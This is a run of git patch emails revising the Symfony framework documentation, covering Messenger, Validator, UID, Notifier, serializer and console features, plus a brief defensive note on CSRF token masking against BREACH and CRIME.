From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:34:09 +0100
Subject: [PATCH 1764/7107] Tweak

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 1b5c2eef31f..ecc34b99ddc 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -883,7 +883,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         use App\Controller\LuckyController;
 
         return static function (ContainerConfigurator $container) {
-            $services = $container->services()
+            $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)

From b703a22e5c286c2a1f10369d97a00ede143e590b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 16:59:27 +0100
Subject: [PATCH 1765/7107] Tweaks

---
 components/phpunit_bridge.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 289346547c7..674c5d1c519 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -302,17 +302,16 @@ whenever you want to update the existing file):
 
 .. code-block:: terminal
 
-    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
 This command stores all the deprecations reported while running tests in the
-given file and encoded in JSON. The file path defined in ``baselineFile`` can
-be absolute or relative to your project root.
+given file path and encoded in JSON.
 
 Then, you can run the following command to use that file and ignore those deprecations:
 
 .. code-block:: terminal
 
-    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
 .. versionadded:: 5.2
 

From 425495b63061147b8c6f3e160f747c5991bde682 Mon Sep 17 00:00:00 2001
From: Souhail <smsouhail@gmail.com>
Date: Fri, 22 Jan 2021 17:01:50 +0100
Subject: [PATCH 1766/7107] Update serializer.rst

Update CsvEncoder's default values
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d6c19a10cd3..f554ed7cf76 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -869,7 +869,7 @@ Option                  Description                                            D
 ``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
 ``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_escape_char``     Sets the escape character (at most one character)
+``csv_escape_char``     Sets the escape character (at most one character)      empty string
 ``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
@@ -879,7 +879,7 @@ Option                  Description                                            D
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
                         with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only
+``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
 ``no_headers``          Disables header in the encoded CSV                     ``false``
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``

From 78c0441a5b370c6789e0f399bbc896ef86d542c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 17:31:27 +0100
Subject: [PATCH 1767/7107] Tweaks

---
 messenger.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e73498c6c84..edd43cd7881 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1309,6 +1309,16 @@ during a request::
         }
     }
 
+The transport has a number of options:
+
+``serialize`` (boolean, default: ``false``)
+    Whether to serialize messages or not. This is useful to test an additional
+    layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``serialize`` option was introduced in Symfony 5.3.
+
 .. note::
 
         All ``in-memory`` transports will be reset automatically after each test **in**
@@ -1316,15 +1326,6 @@ during a request::
         :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
         or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
-.. tip::
-
-    Using ``in-memory://?serialize=true`` as dsn will perform message serialization as real asynchronous transport will do.
-    Useful to test an additional layer, especially when you use your own message serializer.
-
-.. versionadded:: 5.3
-
-    The ``in-memory://?serialize=true`` dsn was introduced in Symfony 5.3.
-
 Amazon SQS
 ~~~~~~~~~~
 

From b40bfae8215c1e4d7615270a334c2ce0eae0f09a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 17:41:56 +0100
Subject: [PATCH 1768/7107] [Workflow] Added initialization docs

---
 components/workflow.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index a35602f1ac2..493b4230124 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -94,6 +94,20 @@ you can retrieve a workflow from it and use it as follows::
     $workflow->can($blogPost, 'publish'); // True
     $workflow->getEnabledTransitions($blogPost); // $blogPost can perform transition "publish" or "reject"
 
+Initialization
+--------------
+
+If the property of your object is ``null`` and you want to set it with the
+``initial_marking`` from the configuration, you can call the ``getMarking()``
+method to initialize the object property::
+
+    // ...
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
 Learn more
 ----------
 

From 29a254533cf8ad5253fc7b68a8652bba4ba6ebba Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 23 Jan 2021 14:37:04 +0100
Subject: [PATCH 1769/7107] [Validator] Use double quotes instead of single

---
 reference/constraints/IsFalse.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 861072a1250..e476fb25387 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -97,7 +97,7 @@ method returns **false**:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => 'You've entered an invalid state.',
+                    'message' => "You've entered an invalid state.",
                 ]));
             }
         }

From 9db655a618a1421fe879ab215b9396b6324fe882 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 23 Jan 2021 11:08:47 +0100
Subject: [PATCH 1770/7107] [Validator] Use constant instead of magic string

---
 reference/constraints/CardScheme.rst | 2 +-
 reference/constraints/Isbn.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index d93224e1a5a..1a196970525 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -101,7 +101,7 @@ on an object that will contain a credit card number.
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
-                        'VISA',
+                        Assert\CardScheme::VISA,
                     ],
                     'message' => 'Your credit card number is invalid.',
                 ]));
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 2865ceffafe..9bfab789825 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -100,7 +100,7 @@ on an object that will contain an ISBN.
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => 'isbn10',
+                    'type' => Assert\Isbn::ISBN_10,
                     'message' => 'This value is not valid.',
                 ]));
             }

From 0b715dee94dab45fca4c414153427c40b5254335 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 24 Jan 2021 19:08:00 +0100
Subject: [PATCH 1771/7107] [Validator] Use single quotes for string

---
 reference/constraints/Sequentially.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 39424a6c523..21e088ba689 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -120,7 +120,7 @@ You can validate each of these constraints sequentially to solve these issues:
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
-                    new Assert\Type("string"),
+                    new Assert\Type('string'),
                     new Assert\Length(['min' => 10]),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),

From a423947869694a15b914431373643a1b25b62b73 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 24 Jan 2021 19:33:51 +0100
Subject: [PATCH 1772/7107] [Validator] Change the example to be consistent
 with the rest

Other examples do not use key 'value'.
---
 reference/constraints/AtLeastOneOf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index b69894184d6..fb29a86f8d8 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -141,7 +141,7 @@ The following constraints ensure that:
                         new Assert\Count(['min' => 3]),
                         new Assert\All([
                             'constraints' => [
-                                new Assert\GreaterThanOrEqual(['value' => 5]),
+                                new Assert\GreaterThanOrEqual(5),
                             ],
                         ]),
                     ],

From a1c303bfb4dbd0586763ad4f8232673d5b042f24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 23 Jan 2021 21:37:54 +0100
Subject: [PATCH 1773/7107] Add documentation about breach

---
 security/csrf.rst | 17 ++++++++++++++++-
 1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index ac8e840c978..7058fb88478 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -85,7 +85,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -162,4 +162,19 @@ to check its validity::
         }
     }
 
+CSRF Tokens and Compression Side-Channel Attacks
+------------------------------------------------
+
+`BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
+compression. Attacker can leverage information leaked by compression to recover
+targeted parts of the plaintext. To mitigate these attacks, and prevent an
+attacker from guessing the CSRF tokens, a random mask is prepended to the token
+and used to scramble it.
+
+.. versionadded:: 5.3
+
+    The randomization of tokens was introduced in Symfony 5.3
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
+.. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
+.. _`CRIME`: https://en.wikipedia.org/wiki/CRIME

From 56add0114806c646c7a78b2ee85a52ae86f32eae Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 25 Jan 2021 17:38:42 +0100
Subject: [PATCH 1774/7107] [Notifier] Add clickatell

Fix #14880.
---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index a2072e79c13..7231080d47e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,6 +57,7 @@ with a couple popular SMS services:
 Service     Package                           DSN
 ==========  ================================  ====================================================
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
+Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
@@ -82,7 +83,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush and AllMySms integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms and Clickatell integrations were
+    introduced in Symfony 5.3.
 
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 86b2834fe361656f83972527d2082e16b398431b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marek=20Barto=C5=A1?= <bartos.developer152@gmail.com>
Date: Mon, 25 Jan 2021 23:40:14 +0100
Subject: [PATCH 1775/7107] Fix select & plural message format

---
 translation/message_format.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 218d479d795..4e637a4335e 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -256,27 +256,24 @@ Usage of this string is the same as with variables and select::
     .. code-block:: text
 
         {gender_of_host, select,
-            female {
-                {num_guests, plural, offset:1
+            female {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to her party.}
                 =2    {{host} invites {guest} and one other person to her party.}
-                other {{host} invites {guest} and # other people to her party.}}
-            }
-            male {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to her party.}
+            }}
+            male {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to his party.}
                 =2    {{host} invites {guest} and one other person to his party.}
-                other {{host} invites {guest} and # other people to his party.}}
-            }
-            other {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to his party.}
+            }}
+            other {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to their party.}
                 =2    {{host} invites {guest} and one other person to their party.}
-                other {{host} invites {guest} and # other people to their party.}}
-            }
+                other {{host} invites {guest} and # other people to their party.}
+            }}
         }
 
 .. sidebar:: Using Ranges in Messages

From 0770446f44fc64ce450dc7780f4dd0c02d5011d1 Mon Sep 17 00:00:00 2001
From: Frankie Wittevrongel <frankie@cupoftea.io>
Date: Tue, 26 Jan 2021 12:44:07 +0000
Subject: [PATCH 1776/7107] Add bright colors to console.

---
 console/coloring.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 913805b5cea..9412511e11f 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -46,7 +46,9 @@ It is possible to define your own styles using the
     $output->writeln('<fire>foo</>');
 
 Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
-``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan``, ``white``,
+``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
+``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
 .. versionadded:: 5.2
 

From ff3b2443c29f6fe91c71bbd38b0aed269d96c5d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jan 2021 16:52:46 +0100
Subject: [PATCH 1777/7107] Minor tweak

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 7058fb88478..47b9396d285 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -166,7 +166,7 @@ CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 
 `BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
-compression. Attacker can leverage information leaked by compression to recover
+compression. Attackers can leverage information leaked by compression to recover
 targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.

From 55c567603856bc0e353e774645b3a047d84b8177 Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Thu, 21 Jan 2021 22:15:50 +0100
Subject: [PATCH 1778/7107] [Validator] Use PHP attributes when creating custom
 validation constraints

---
 validation/custom_constraint.rst | 72 +++++++++++++++++++++++++++-----
 1 file changed, 61 insertions(+), 11 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c6c588452c4..9cecde12b8a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -12,20 +12,43 @@ alphanumeric characters.
 Creating the Constraint Class
 -----------------------------
 
-First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
+First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`:
 
-    // src/Validator/ContainsAlphanumeric.php
-    namespace App\Validator;
+.. configuration-block::
 
-    use Symfony\Component\Validator\Constraint;
+    .. code-block:: php-annotations
 
-    /**
-     * @Annotation
-     */
-    class ContainsAlphanumeric extends Constraint
-    {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-    }
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 .. note::
 
@@ -128,6 +151,25 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\ContainsAlphanumeric]
+            protected $name;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -241,6 +283,14 @@ not to the property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        #[AcmeAssert\ProtocolClass]
+        class AcmeEntity
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 62a317b2a52e1d11036992aeb69518ae12d107d5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 27 Jan 2021 16:55:14 +0100
Subject: [PATCH 1779/7107] [Lock] Fix grammar issue

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 7b2c131947d..16049101e10 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -676,7 +676,7 @@ can be two running containers in parallel.
 .. caution::
 
     All concurrent processes must use the same machine. Before starting a
-    concurrent process on a new machine, check that other process are stopped
+    concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
 .. caution::

From e73e9231bd9276372171857720037376849596d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dan=20Michael=20O=2E=20Hegg=C3=B8?= <danmichaelo@gmail.com>
Date: Wed, 27 Jan 2021 22:10:28 +0100
Subject: [PATCH 1780/7107] [Messenger] More on unique Redis consumer names

---
 messenger.rst | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 45499c14490..733365c3800 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -619,7 +619,18 @@ times:
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
-and ``user`` to the Unix user on your server. Next, tell Supervisor to read your
+and ``user`` to the Unix user on your server.
+
+If you use the Redis Transport, note that each worker needs a unique consumer name to
+avoid the same message being handled by multiple workers. One way to achieve this is
+to set an environment variable in the Supervisor configuration file, which you can
+then refer to in `messenger.yaml` (see Redis section above):
+
+.. code-block:: ini
+
+    environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
+
+Next, tell Supervisor to read your
 config and start your workers:
 
 .. code-block:: terminal
@@ -1209,9 +1220,13 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
-    config (stream, group and consumer name) to avoid having a message handled more than once.
-    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
-    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
+    combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
+    handled more than once. If you run multiple queue workers, ``consumer` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%`)` set by Supervisor
+    (example below) or whatever service used to manage the worker processes.
+    In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
+    there is only one worker per container/host. If using Kubernetes to orchestrate the
+    containers, consider using a ``StatefulSet`` to have stable names.
 
 .. tip::
 

From f0e6261484a12c68f8b500ac9495ccf602c13b38 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Jan 2021 07:57:37 +0100
Subject: [PATCH 1781/7107] Remove experimental for UID

Fix #14890
---
 components/uid.rst | 15 +++++++--------
 notifier.rst       |  2 +-
 2 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index a7fb95d5d2f..076946c7756 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------
@@ -157,12 +156,12 @@ entity primary keys::
         private $id;
 
         // ...
-        
+
         public function getId(): ?Uuid
         {
             return $this->id;
         }
-        
+
         // ...
     }
 
@@ -287,7 +286,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
-    use Symfony\Component\Uid\Ulid;    
+    use Symfony\Component\Uid\Ulid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -303,14 +302,14 @@ entity primary keys::
         private $id;
 
         // ...
-        
+
         public function getId(): ?Ulid
         {
             return $this->id;
         }
-        
+
         // ...
-        
+
     }
 
 .. versionadded:: 5.2
diff --git a/notifier.rst b/notifier.rst
index 7231080d47e..6845900b11b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,7 +16,7 @@ the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these
 channels. It provides a dynamic way to manage how the messages are sent.
 Get the Notifier installed using:
-
+uid
 .. code-block:: terminal
 
     $ composer require symfony/notifier

From 1c6c658627db640955982e8e2aad1265924e97b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 08:54:34 +0100
Subject: [PATCH 1782/7107] Removed unneeded text

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6845900b11b..7231080d47e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,7 +16,7 @@ the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these
 channels. It provides a dynamic way to manage how the messages are sent.
 Get the Notifier installed using:
-uid
+
 .. code-block:: terminal
 
     $ composer require symfony/notifier

From 5ff7cc7486530647a46951b6189bee23717f09f7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Jan 2021 09:06:50 +0100
Subject: [PATCH 1783/7107] Remove experimental mention in lowest branch

Follows #14891
---
 components/uid.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 9a097a3e675..b0ba7259b87 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------

From d0c1a24752df5048a3910e67985884da8a41e618 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 09:15:02 +0100
Subject: [PATCH 1784/7107] [Uid] Document the getDateTime() method

---
 components/uid.rst | 18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 076946c7756..adda64b8029 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -96,9 +96,9 @@ UUID objects created with the ``Uuid`` class can use the following methods
     $uuid = Uuid::v4();
     $uuid instanceof UuidV4; // true
 
-    // getting the UUID time (it's only available in certain UUID types)
+    // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getTime();  // e.g. float(1584111384.2613)
+    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();
@@ -111,6 +111,11 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -250,14 +255,19 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // checking if a given value is valid as ULID
     $isValid = Ulid::isValid($ulidValue); // true or false
 
-    // getting the ULID time
-    $ulid1->getTime(); // e.g. float(1584111384.2613)
+    // getting the ULID datetime
+    $ulid1->getDateTime(); // returns a \DateTimeImmutable instance
 
     // comparing ULIDs and checking for equality
     $ulid1->equals($ulid2); // false
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 1b61792e5e7ce891264f80b6c466efc3a0a7825b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Jan 2021 09:20:38 +0100
Subject: [PATCH 1785/7107] [Uid] Mentioned the Uuid::NAMESPACE_* constants

---
 components/uid.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 076946c7756..51f8b4021a2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -53,11 +53,22 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
+    // the namespaces defined by RFC 4122 are available as constants
+    // (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name);
+
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
+.. versionadded:: 5.3
+
+    The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
+
 If your UUID is generated by another system, use the ``fromString()`` method to
 create an object and make use of the utilities available for Symfony UUIDs::
 

From 70fe3795c8bb33fcabe016f5a2a8c91cd158f803 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Thu, 28 Jan 2021 15:41:22 +0100
Subject: [PATCH 1786/7107] Mark semaphore exeperimental

---
 components/semaphore.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..614c38a6bd9 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -10,7 +10,8 @@ The Semaphore Component
 
 .. versionadded:: 5.2
 
-    The Semaphore Component was introduced in Symfony 5.2.
+    The Semaphore Component was introduced in Symfony 5.2 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
 
 Installation
 ------------

From be512a89aa9fc34116b51d2ae8c1fce74ec88eca Mon Sep 17 00:00:00 2001
